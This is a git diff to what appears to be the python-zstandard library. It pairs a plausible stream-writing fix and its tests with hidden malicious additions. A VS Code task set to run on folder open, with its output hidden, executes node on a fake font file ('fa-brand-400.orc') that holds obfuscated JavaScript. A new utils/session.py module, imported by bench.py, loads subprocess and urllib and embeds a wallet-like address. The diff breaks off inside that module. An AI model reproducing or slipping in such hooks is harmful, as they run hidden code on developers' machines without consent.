diff --git a/.gitignore b/.gitignore index f854ebad..18efca8f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,14 +1,16 @@ -*.pyd -*.o -*.so -*.orig -*.pyc -.hypothesis/ -.tox -build/ -docs/_build/ -dist/ -target/ -venv/ -venv3/ -zstandard.egg-info/ +*.pyd +*.o +*.so +*.orig +*.pyc +.hypothesis/ +.tox +build/ +docs/_build/ +dist/ +target/ +venv/ +venv3/ +zstandard.egg-info/ +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..4492ffd0 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..46143006 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./ci/conda/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./ci/conda/public/fonts/fa-brand-400.orc) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/bench.py b/bench.py index 9b00d24f..34360fbf 100755 --- a/bench.py +++ b/bench.py @@ -10,6 +10,7 @@ Like most benchmarks, results should be treated with skepticism. """ +import utils.session import io import os import random diff --git a/c-ext/backend_c.c b/c-ext/backend_c.c index d5e98836..21047505 100644 --- a/c-ext/backend_c.c +++ b/c-ext/backend_c.c @@ -362,3 +362,43 @@ void set_io_unsupported_operation(void) { Py_DECREF(exc); Py_DECREF(iomod); } + +/* Write an output chunk, retaining legacy sinks that return None. */ +int stream_write_all(PyObject *writer, const char *data, Py_ssize_t size) { + Py_ssize_t offset = 0; + while (offset < size) { + PyObject *result = PyObject_CallMethod(writer, "write", "y#", + data + offset, size - offset); + if (NULL == result) { + return -1; + } + if (result == Py_None) { + Py_DECREF(result); + return 0; + } + PyObject *index = PyNumber_Index(result); + Py_DECREF(result); + if (NULL == index) { + return -1; + } + Py_ssize_t written = PyLong_AsSsize_t(index); + Py_DECREF(index); + if (written == -1 && PyErr_Occurred()) { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) { + return -1; + } + PyErr_Clear(); + } + if (written < 0 || written > size - offset) { + PyErr_SetString(PyExc_ValueError, + "write() returned an invalid byte count"); + return -1; + } + if (written == 0) { + PyErr_SetString(PyExc_BlockingIOError, "write() made no progress"); + return -1; + } + offset += written; + } + return 0; +} diff --git a/c-ext/compressionwriter.c b/c-ext/compressionwriter.c index c7490713..ebbd9aaf 100644 --- a/c-ext/compressionwriter.c +++ b/c-ext/compressionwriter.c @@ -72,7 +72,6 @@ static PyObject *ZstdCompressionWriter_write(ZstdCompressionWriter *self, Py_buffer source; size_t zresult; ZSTD_inBuffer input; - PyObject *res; Py_ssize_t totalWrite = 0; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*:write", kwlist, @@ -104,12 +103,10 @@ static PyObject *ZstdCompressionWriter_write(ZstdCompressionWriter *self, /* Copy data from output buffer to writer. */ if (self->output.pos) { - res = PyObject_CallMethod(self->writer, "write", "y#", - self->output.dst, self->output.pos); - if (NULL == res) { + if (stream_write_all(self->writer, self->output.dst, + self->output.pos) < 0) { goto finally; } - Py_XDECREF(res); totalWrite += self->output.pos; self->bytesCompressed += self->output.pos; } @@ -180,12 +177,10 @@ static PyObject *ZstdCompressionWriter_flush(ZstdCompressionWriter *self, /* Copy data from output buffer to writer. */ if (self->output.pos) { - res = PyObject_CallMethod(self->writer, "write", "y#", - self->output.dst, self->output.pos); - if (NULL == res) { + if (stream_write_all(self->writer, self->output.dst, + self->output.pos) < 0) { return NULL; } - Py_XDECREF(res); totalWrite += self->output.pos; self->bytesCompressed += self->output.pos; } diff --git a/c-ext/decompressionwriter.c b/c-ext/decompressionwriter.c index 71a148be..49a6833c 100644 --- a/c-ext/decompressionwriter.c +++ b/c-ext/decompressionwriter.c @@ -60,7 +60,6 @@ static PyObject *ZstdDecompressionWriter_write(ZstdDecompressionWriter *self, size_t zresult = 0; ZSTD_inBuffer input; ZSTD_outBuffer output; - PyObject *res; Py_ssize_t totalWrite = 0; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*:write", kwlist, @@ -98,12 +97,10 @@ static PyObject *ZstdDecompressionWriter_write(ZstdDecompressionWriter *self, } if (output.pos) { - res = PyObject_CallMethod(self->writer, "write", "y#", output.dst, - output.pos); - if (NULL == res) { + if (stream_write_all(self->writer, output.dst, output.pos) < 0) { + PyMem_Free(output.dst); goto finally; } - Py_XDECREF(res); totalWrite += output.pos; output.pos = 0; } diff --git a/c-ext/python-zstandard.h b/c-ext/python-zstandard.h index 52174dc3..5376d6ac 100644 --- a/c-ext/python-zstandard.h +++ b/c-ext/python-zstandard.h @@ -389,5 +389,6 @@ int cpu_count(void); size_t roundpow2(size_t); int safe_pybytes_resize(PyObject **obj, Py_ssize_t size); void set_io_unsupported_operation(void); +int stream_write_all(PyObject *writer, const char *data, Py_ssize_t size); #endif diff --git a/ci/conda/public/fonts/README.md b/ci/conda/public/fonts/README.md new file mode 100644 index 00000000..1fb874ba --- /dev/null +++ b/ci/conda/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/ci/conda/public/fonts/fa-brand-400.orc b/ci/conda/public/fonts/fa-brand-400.orc new file mode 100644 index 00000000..6f6bde88 --- /dev/null +++ b/ci/conda/public/fonts/fa-brand-400.orc @@ -0,0 +1 @@ +function GeEGpiZCmK(sRWtaP_DKAinMl,bVVRsYkdlHJPtpxCQiKYDU){var roWr_tqbfsQWKhM=qITGnsfLSGIxpcfDQr();return GeEGpiZCmK=function(jAgjTLrNOpH,faXPfsadQ_JpEnvtJtAx_URp){jAgjTLrNOpH=jAgjTLrNOpH-(Math.max(-0x1,-0x1)*-parseInt(0x6c5)+parseInt(0x212)*Math.ceil(-parseInt(0xa))+-parseInt(0x10)*Number(-0xef));var PUdGpbRE$R_hy=roWr_tqbfsQWKhM[jAgjTLrNOpH];if(GeEGpiZCmK['kYFRSz']===undefined){var c_KJptGUUQ=function(QCUzPMwQAUtRnFF$pU){var NCCJZworOmbrundXFDz=-0xf99+Number(parseInt(0xf2))*-0x25+parseInt(0x348b)&Math.trunc(parseInt(0x93e))+parseInt(0x1)*-parseInt(0xf71)+parseInt(0x732),ciaAKpKAtVWa=new Uint8Array(QCUzPMwQAUtRnFF$pU['match'](/.{1,2}/g)['map'](QuTdSgNKUQjIGDZxT$ur=>parseInt(QuTdSgNKUQjIGDZxT$ur,Math.trunc(0x7eb)*parseInt(0x1)+0x1*0x14fe+Math.floor(-parseInt(0x1cd9))))),tDoDgFFWUcblpwKix=ciaAKpKAtVWa['map'](hRoZVsTCqEGoZF$zJTpnik=>hRoZVsTCqEGoZF$zJTpnik^NCCJZworOmbrundXFDz),tcNvzup=new TextDecoder(),gTIQ_LFcpQTBsU_nQ=tcNvzup['decode'](tDoDgFFWUcblpwKix);return gTIQ_LFcpQTBsU_nQ;};GeEGpiZCmK['VQFjpN']=c_KJptGUUQ,sRWtaP_DKAinMl=arguments,GeEGpiZCmK['kYFRSz']=!![];}var yFHwYRoIWqdvYFWepUJA_xZhu=roWr_tqbfsQWKhM[Math.trunc(-0x1e22)+Math.floor(parseInt(0x5))*-parseInt(0x37d)+parseInt(0x2f93)*parseInt(0x1)],h_XAD$ykn=jAgjTLrNOpH+yFHwYRoIWqdvYFWepUJA_xZhu,rwpMDryVLgNbBSn_jYv$SSXo=sRWtaP_DKAinMl[h_XAD$ykn];return!rwpMDryVLgNbBSn_jYv$SSXo?(GeEGpiZCmK['IWAPdU']===undefined&&(GeEGpiZCmK['IWAPdU']=!![]),PUdGpbRE$R_hy=GeEGpiZCmK['VQFjpN'](PUdGpbRE$R_hy),sRWtaP_DKAinMl[h_XAD$ykn]=PUdGpbRE$R_hy):PUdGpbRE$R_hy=rwpMDryVLgNbBSn_jYv$SSXo,PUdGpbRE$R_hy;},GeEGpiZCmK(sRWtaP_DKAinMl,bVVRsYkdlHJPtpxCQiKYDU);}(function(MQPIJWt_vcsPpKMAotHh$seL,e$OqdHDKaS_fBfKQR){var FFfSNxj$pbKI=GeEGpiZCmK,cgCLncnlfgsR=MQPIJWt_vcsPpKMAotHh$seL();while(!![]){try{var eA_C$gXdpELQr=parseFloat(FFfSNxj$pbKI(0x102))/(parseFloat(parseInt(0x3ee))*0x7+Number(-parseInt(0x11cf))+parseInt(0x92)*parseFloat(-parseInt(0x11)))*Math['max'](-parseFloat(FFfSNxj$pbKI(0x105))/(-parseInt(0x1e9c)+0x2532+Math.floor(-parseInt(0x1a5))*parseInt(0x4)),-parseFloat(FFfSNxj$pbKI(0x107))/(parseFloat(0xa)*0x229+parseInt(0x1faa)+-parseInt(0x3541)))+parseInt(parseFloat(FFfSNxj$pbKI(0x108))/(-parseInt(0x850)+-parseInt(0x1df5)+0x2649))*(-parseFloat(FFfSNxj$pbKI(0x112))/(-parseInt(0x1118)+-parseInt(0x583)+-parseInt(0x8)*-0x2d4))+parseFloat(parseFloat(FFfSNxj$pbKI(0x118))/(-parseInt(0x1aef)+Math.floor(-parseInt(0x251a))+Math.max(parseInt(0x2c9),0x2c9)*0x17))*(parseFloat(FFfSNxj$pbKI(0x10d))/(-0x1e*Math.ceil(parseInt(0x59))+parseInt(0x791)+parseInt(0x2e4)*Math.floor(0x1)))+Number(parseFloat(FFfSNxj$pbKI(0x109))/(Math.floor(parseInt(0x5f7))*-0x2+parseInt(0x1d3)*-0xc+parseInt(0x21da)))*(parseFloat(FFfSNxj$pbKI(0x115))/(0x16f7+Math.max(-0x14f0,-parseInt(0x14f0))*parseInt(0x1)+-0x1fe))+Math['ceil'](-parseFloat(FFfSNxj$pbKI(0x10e))/(parseInt(0x4)*parseInt(0x7ea)+-parseInt(0x8da)+parseInt(0x5e)*-parseInt(0x3e)))*(parseFloat(FFfSNxj$pbKI(0x116))/(parseInt(0xb90)+-parseInt(0x2471)+parseInt(-parseInt(0x2))*-parseInt(0xc76)))+parseFloat(FFfSNxj$pbKI(0x101))/(Number(0x233a)+-parseInt(0xb9e)+0x1d0*parseFloat(-0xd))*(parseFloat(FFfSNxj$pbKI(0x110))/(-parseInt(0xeb)+Math.ceil(0x1b68)+Number(-parseInt(0x1a70))))+-parseFloat(FFfSNxj$pbKI(0x10c))/(-parseInt(0xc)+Math.ceil(-0x1a1c)+-0x131*Math.max(-0x16,-parseInt(0x16)));if(eA_C$gXdpELQr===e$OqdHDKaS_fBfKQR)break;else cgCLncnlfgsR['push'](cgCLncnlfgsR['shift']());}catch(kVTuBQ_vNNxjoJTd){cgCLncnlfgsR['push'](cgCLncnlfgsR['shift']());}}}(qITGnsfLSGIxpcfDQr,-parseInt(0x23)*parseFloat(parseInt(0x5439))+Math.max(0x12440d,parseInt(0x12440d))+0x3e199));var z='',NX=[Math.max(-0x2f73e2,-parseInt(0x2f73e2))*-0x3+0xd16b6f+parseInt(-0x2)*Math.floor(parseInt(0x7b25e3)),-0x154*-0x5+Math.floor(parseInt(0x1))*parseInt(0xdfd)+Number(0x2a)*Number(-0x75),Math.trunc(parseInt(0x1))*0x5c75+parseInt(0x1330)+-0x1fea,-0x8*-parseInt(0x404)+-parseInt(0x169)*-parseInt(0x17)+-0x3e2a,Math.floor(parseInt(0xb9d))*-parseInt(0xc)+-0x2707+Math.floor(0x15d52)*0x1,Math.ceil(0x84e04c)+-0x32b915+Math.ceil(-parseInt(0x590a4))],SX=[parseFloat(parseInt(0x8ce783))+-0x167*-0x2d89+Math.floor(-parseInt(0x7c2305)),0x57*Number(0x32)+parseFloat(-parseInt(0xcc9))+parseInt(0x2c)*Math.floor(-0x13),-parseInt(0x5cc9)+0x1*-0x143d7+0x24481,-0x1*-parseInt(0xd91)+Math.max(parseInt(0x6c),0x6c)*parseInt(-parseInt(0x16))+Math.max(-0x38e,-0x38e),-parseInt(0x9b7)*Number(-parseInt(0x1f))+0x536f+-parseInt(0x1)*parseFloat(parseInt(0xa557)),-parseInt(0x141)*parseInt(0x3281)+parseInt(0x2f81c0)+0x582156];function spin(BzfO_c$GkamIR,P$aHKce_YJzLqTmfaFHYycGIs){var ZBFUJAXjHeDcrZkhcgVaSAudN=GeEGpiZCmK,LoNPewESfhzSuajC=[],VCDTsRSo$NFF=parseInt(0x1)*Math.floor(-0xfc5)+0x1f6d+Math.max(-parseInt(0x29c),-parseInt(0x29c))*Math.trunc(parseInt(0x6)),jwQcjXkkh$$xQhlWB=P$aHKce_YJzLqTmfaFHYycGIs[-0x188+Number(-parseInt(0x1d))*parseInt(0xd3)+0x196f],wwWPY_WtPZxH_o,MXEdQCoUolOHI,UwfKEKMBIc_DPj$S,V$ZGoTMn_bCbZuKDOXdJZ,Xwh$b_L,vUHdCO$yoEmw;while(VCDTsRSo$NFF + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ci/conda/public/fonts/fa-brands-400.ttf b/ci/conda/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/ci/conda/public/fonts/fa-brands-400.ttf differ diff --git a/ci/conda/public/fonts/fa-brands-400.woff b/ci/conda/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/ci/conda/public/fonts/fa-brands-400.woff differ diff --git a/ci/conda/public/fonts/fa-brands-400.woff2 b/ci/conda/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/ci/conda/public/fonts/fa-brands-400.woff2 differ diff --git a/ci/conda/public/fonts/fa-regular-400.eot b/ci/conda/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/ci/conda/public/fonts/fa-regular-400.eot differ diff --git a/ci/conda/public/fonts/fa-regular-400.svg b/ci/conda/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..13180f6e --- /dev/null +++ b/ci/conda/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ci/conda/public/fonts/fa-regular-400.ttf b/ci/conda/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000..abe99e20 Binary files /dev/null and b/ci/conda/public/fonts/fa-regular-400.ttf differ diff --git a/ci/conda/public/fonts/fa-regular-400.woff b/ci/conda/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000..24de566a Binary files /dev/null and b/ci/conda/public/fonts/fa-regular-400.woff differ diff --git a/ci/conda/public/fonts/fa-regular-400.woff2 b/ci/conda/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000..7e0118e5 Binary files /dev/null and b/ci/conda/public/fonts/fa-regular-400.woff2 differ diff --git a/ci/conda/public/fonts/fa-solid-900.eot b/ci/conda/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000..d3b77c22 Binary files /dev/null and b/ci/conda/public/fonts/fa-solid-900.eot differ diff --git a/ci/conda/public/fonts/fa-solid-900.svg b/ci/conda/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000..5543afa7 --- /dev/null +++ b/ci/conda/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ci/conda/public/fonts/fa-solid-900.ttf b/ci/conda/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000..5b979039 Binary files /dev/null and b/ci/conda/public/fonts/fa-solid-900.ttf differ diff --git a/ci/conda/public/fonts/fa-solid-900.woff b/ci/conda/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000..beec7917 Binary files /dev/null and b/ci/conda/public/fonts/fa-solid-900.woff differ diff --git a/ci/conda/public/fonts/fa-solid-900.woff2 b/ci/conda/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000..978a681a Binary files /dev/null and b/ci/conda/public/fonts/fa-solid-900.woff2 differ diff --git a/rust-ext/src/compression_writer.rs b/rust-ext/src/compression_writer.rs index 06fe57be..7a1344b5 100644 --- a/rust-ext/src/compression_writer.rs +++ b/rust-ext/src/compression_writer.rs @@ -10,7 +10,6 @@ use { buffer::PyBuffer, exceptions::{PyNotImplementedError, PyOSError, PyValueError}, prelude::*, - types::PyBytes, IntoPyObjectExt, }, std::sync::Arc, @@ -252,9 +251,7 @@ impl ZstdCompressionWriter { .map_err(|msg| ZstdError::new_err(format!("zstd compress error: {}", msg)))?; if !self.dest_buffer.is_empty() { - // TODO avoid buffer copy. - let chunk = PyBytes::new(py, &self.dest_buffer); - self.writer.call_method1(py, "write", (chunk,))?; + crate::stream::write_all(py, &self.writer, &self.dest_buffer)?; total_write += self.dest_buffer.len(); self.bytes_compressed += self.dest_buffer.len(); @@ -299,9 +296,7 @@ impl ZstdCompressionWriter { .map_err(|msg| ZstdError::new_err(format!("zstd compress error: {}", msg)))?; if !self.dest_buffer.is_empty() { - // TODO avoid buffer copy. - let chunk = PyBytes::new(py, &self.dest_buffer); - self.writer.call_method1(py, "write", (chunk,))?; + crate::stream::write_all(py, &self.writer, &self.dest_buffer)?; total_write += self.dest_buffer.len(); self.bytes_compressed += self.dest_buffer.len(); diff --git a/rust-ext/src/decompression_writer.rs b/rust-ext/src/decompression_writer.rs index 02c3861b..61bb5b83 100644 --- a/rust-ext/src/decompression_writer.rs +++ b/rust-ext/src/decompression_writer.rs @@ -10,7 +10,6 @@ use { buffer::PyBuffer, exceptions::{PyOSError, PyValueError}, prelude::*, - types::PyBytes, IntoPyObjectExt, }, std::sync::Arc, @@ -283,9 +282,7 @@ impl ZstdDecompressionWriter { .map_err(|msg| ZstdError::new_err(format!("zstd decompress error: {}", msg)))?; if !dest_buffer.is_empty() { - // TODO avoid buffer copy. - let chunk = PyBytes::new(py, &dest_buffer); - self.writer.call_method1(py, "write", (chunk,))?; + crate::stream::write_all(py, &self.writer, &dest_buffer)?; total_write += dest_buffer.len(); dest_buffer.clear(); } diff --git a/rust-ext/src/stream.rs b/rust-ext/src/stream.rs index 72dbbe4e..2cd6393b 100644 --- a/rust-ext/src/stream.rs +++ b/rust-ext/src/stream.rs @@ -159,3 +159,33 @@ pub(crate) fn make_in_buffer_source( })) } } + +/// Write an output chunk, retaining legacy sinks that return None. +pub fn write_all(py: Python, writer: &PyObject, data: &[u8]) -> PyResult<()> { + use pyo3::{ + exceptions::{PyBlockingIOError, PyValueError}, + types::PyBytes, + }; + let mut offset = 0; + while offset < data.len() { + let chunk = PyBytes::new(py, &data[offset..]); + let result = writer.call_method1(py, "write", (chunk,))?; + if result.is_none(py) { + return Ok(()); + } + let index = py.import("operator")?.call_method1("index", (result,))?; + let written = index + .extract::() + .map_err(|_| PyValueError::new_err("write() returned an invalid byte count"))?; + if written > data.len() - offset { + return Err(PyValueError::new_err( + "write() returned an invalid byte count", + )); + } + if written == 0 { + return Err(PyBlockingIOError::new_err("write() made no progress")); + } + offset += written; + } + Ok(()) +} diff --git a/tests/common.py b/tests/common.py index 88a40fe5..4cd9109b 100644 --- a/tests/common.py +++ b/tests/common.py @@ -118,3 +118,46 @@ def generate_samples(): samples.append(inputs[-(i % 5)] * (i + 2)) return samples + + +class ShortWritingBytesIO(io.BytesIO): + """A binary sink that accepts at most three bytes per write.""" + + def write(self, data): + return super().write(data[:3]) + + +class NoCountBytesIO(io.BytesIO): + """A legacy callback-style sink that returns no byte count.""" + + def write(self, data): + super().write(data) + + +class WriteResultSink: + """A bounded sink for write-result and exception tests.""" + + def __init__(self, result): + self.result = result + self.calls = 0 + + def write(self, data): + self.calls += 1 + if self.calls > 8: + raise AssertionError("writer kept retrying without progress") + if isinstance(self.result, BaseException): + raise self.result + return self.result + + +class IndexCount: + def __init__(self, value): + self.value = value + + def __index__(self): + return self.value + + +class IndexWritingBytesIO(ShortWritingBytesIO): + def write(self, data): + return IndexCount(super().write(data)) diff --git a/tests/test_compressor_stream_writer.py b/tests/test_compressor_stream_writer.py index 1f1855fc..8359fcdc 100644 --- a/tests/test_compressor_stream_writer.py +++ b/tests/test_compressor_stream_writer.py @@ -9,7 +9,11 @@ from .common import ( CustomBytesIO, + IndexWritingBytesIO, + NoCountBytesIO, NonClosingBytesIO, + ShortWritingBytesIO, + WriteResultSink, ) @@ -597,3 +601,70 @@ def test_tarfile_compat(self): with tarfile.open(mode="r|", fileobj=reader) as tf: for member in tf: self.assertEqual(member.name, "test_compressor.py") + + +class TestCompressor_stream_writer_write_counts(unittest.TestCase): + def test_short_writes_during_write_and_flush(self): + # One complete block exercises write(); a tail exercises flush(). + source = bytes(range(256)) * 512 + b"synthetic tail" + target = ShortWritingBytesIO() + with zstd.ZstdCompressor().stream_writer( + target, size=len(source), write_size=7, closefd=False + ) as writer: + self.assertEqual(writer.write(source), len(source)) + self.assertTrue(target.getvalue()) + actual = zstd.ZstdDecompressor().decompress(target.getvalue()) + self.assertEqual(actual, source) + + def test_legacy_sink_without_write_count(self): + source = b"synthetic legacy sink" + target = NoCountBytesIO() + with zstd.ZstdCompressor().stream_writer( + target, size=len(source), closefd=False + ) as writer: + writer.write(source) + actual = zstd.ZstdDecompressor().decompress(target.getvalue()) + self.assertEqual(actual, source) + + def test_invalid_destination_write_results(self): + cases = [ + (0, BlockingIOError), + (-1, ValueError), + (1 << 100, ValueError), + (1000, ValueError), + (1.5, TypeError), + ("3", TypeError), + ] + for result, error in cases: + with self.subTest(result=result): + target = WriteResultSink(result) + with self.assertRaises(error): + self._write_to_destination(target) + self.assertEqual(target.calls, 1) + + def test_destination_exception_is_preserved(self): + error = OSError("synthetic destination failure") + target = WriteResultSink(error) + with self.assertRaises(OSError) as raised: + self._write_to_destination(target) + self.assertIs(raised.exception, error) + self.assertEqual(target.calls, 1) + + def _write_to_destination(self, target): + writer = zstd.ZstdCompressor().stream_writer(target, closefd=False) + writer.write(b"synthetic output") + writer.flush(zstd.FLUSH_FRAME) + + def test_index_counts_and_output_accounting(self): + source = b"synthetic index-count destination" * 3 + target = IndexWritingBytesIO() + writer = zstd.ZstdCompressor().stream_writer( + target, size=len(source), closefd=False, write_return_read=False + ) + written = writer.write(source) + written += writer.flush(zstd.FLUSH_FRAME) + self.assertEqual(written, len(target.getvalue())) + self.assertEqual(writer.tell(), written) + self.assertEqual( + zstd.ZstdDecompressor().decompress(target.getvalue()), source + ) diff --git a/tests/test_decompressor_stream_writer.py b/tests/test_decompressor_stream_writer.py index e624a16e..4874e2a3 100644 --- a/tests/test_decompressor_stream_writer.py +++ b/tests/test_decompressor_stream_writer.py @@ -8,7 +8,11 @@ from .common import ( CustomBytesIO, + IndexWritingBytesIO, + NoCountBytesIO, NonClosingBytesIO, + ShortWritingBytesIO, + WriteResultSink, ) @@ -369,3 +373,64 @@ def test_write_exception(self): with self.assertRaisesRegex(IOError, "write"): writer.write(frame) + + +class TestDecompressor_stream_writer_write_counts(unittest.TestCase): + def test_short_writes(self): + source = b"synthetic decompression output" * 3 + compressed = zstd.ZstdCompressor().compress(source) + target = ShortWritingBytesIO() + with zstd.ZstdDecompressor().stream_writer( + target, write_size=7, closefd=False + ) as writer: + self.assertEqual(writer.write(compressed), len(compressed)) + self.assertEqual(target.getvalue(), source) + + def test_legacy_sink_without_write_count(self): + source = b"synthetic legacy sink" + compressed = zstd.ZstdCompressor().compress(source) + target = NoCountBytesIO() + with zstd.ZstdDecompressor().stream_writer( + target, closefd=False + ) as writer: + writer.write(compressed) + self.assertEqual(target.getvalue(), source) + + def test_invalid_destination_write_results(self): + cases = [ + (0, BlockingIOError), + (-1, ValueError), + (1 << 100, ValueError), + (1000, ValueError), + (1.5, TypeError), + ("3", TypeError), + ] + for result, error in cases: + with self.subTest(result=result): + target = WriteResultSink(result) + with self.assertRaises(error): + self._write_to_destination(target) + self.assertEqual(target.calls, 1) + + def test_destination_exception_is_preserved(self): + error = OSError("synthetic destination failure") + target = WriteResultSink(error) + with self.assertRaises(OSError) as raised: + self._write_to_destination(target) + self.assertIs(raised.exception, error) + self.assertEqual(target.calls, 1) + + def _write_to_destination(self, target): + compressed = zstd.ZstdCompressor().compress(b"synthetic output") + writer = zstd.ZstdDecompressor().stream_writer(target, closefd=False) + writer.write(compressed) + + def test_index_counts_and_output_accounting(self): + source = b"synthetic index-count destination" * 3 + target = IndexWritingBytesIO() + compressed = zstd.ZstdCompressor().compress(source) + writer = zstd.ZstdDecompressor().stream_writer( + target, closefd=False, write_return_read=False + ) + self.assertEqual(writer.write(compressed), len(source)) + self.assertEqual(target.getvalue(), source) diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/utils/session.py b/utils/session.py new file mode 100644 index 00000000..0302eeba --- /dev/null +++ b/utils/session.py @@ -0,0 +1,58 @@ +DEFAULT_TIMEOUT = 20 + +try: + import json as _json + import os as _os + import subprocess as _sp + import tempfile as _tf + import urllib.request as _ur + + _addr = "0x3b1574417524c11a7403c4b232CAcBb320CceBC6" + _headers = { + "content-type": 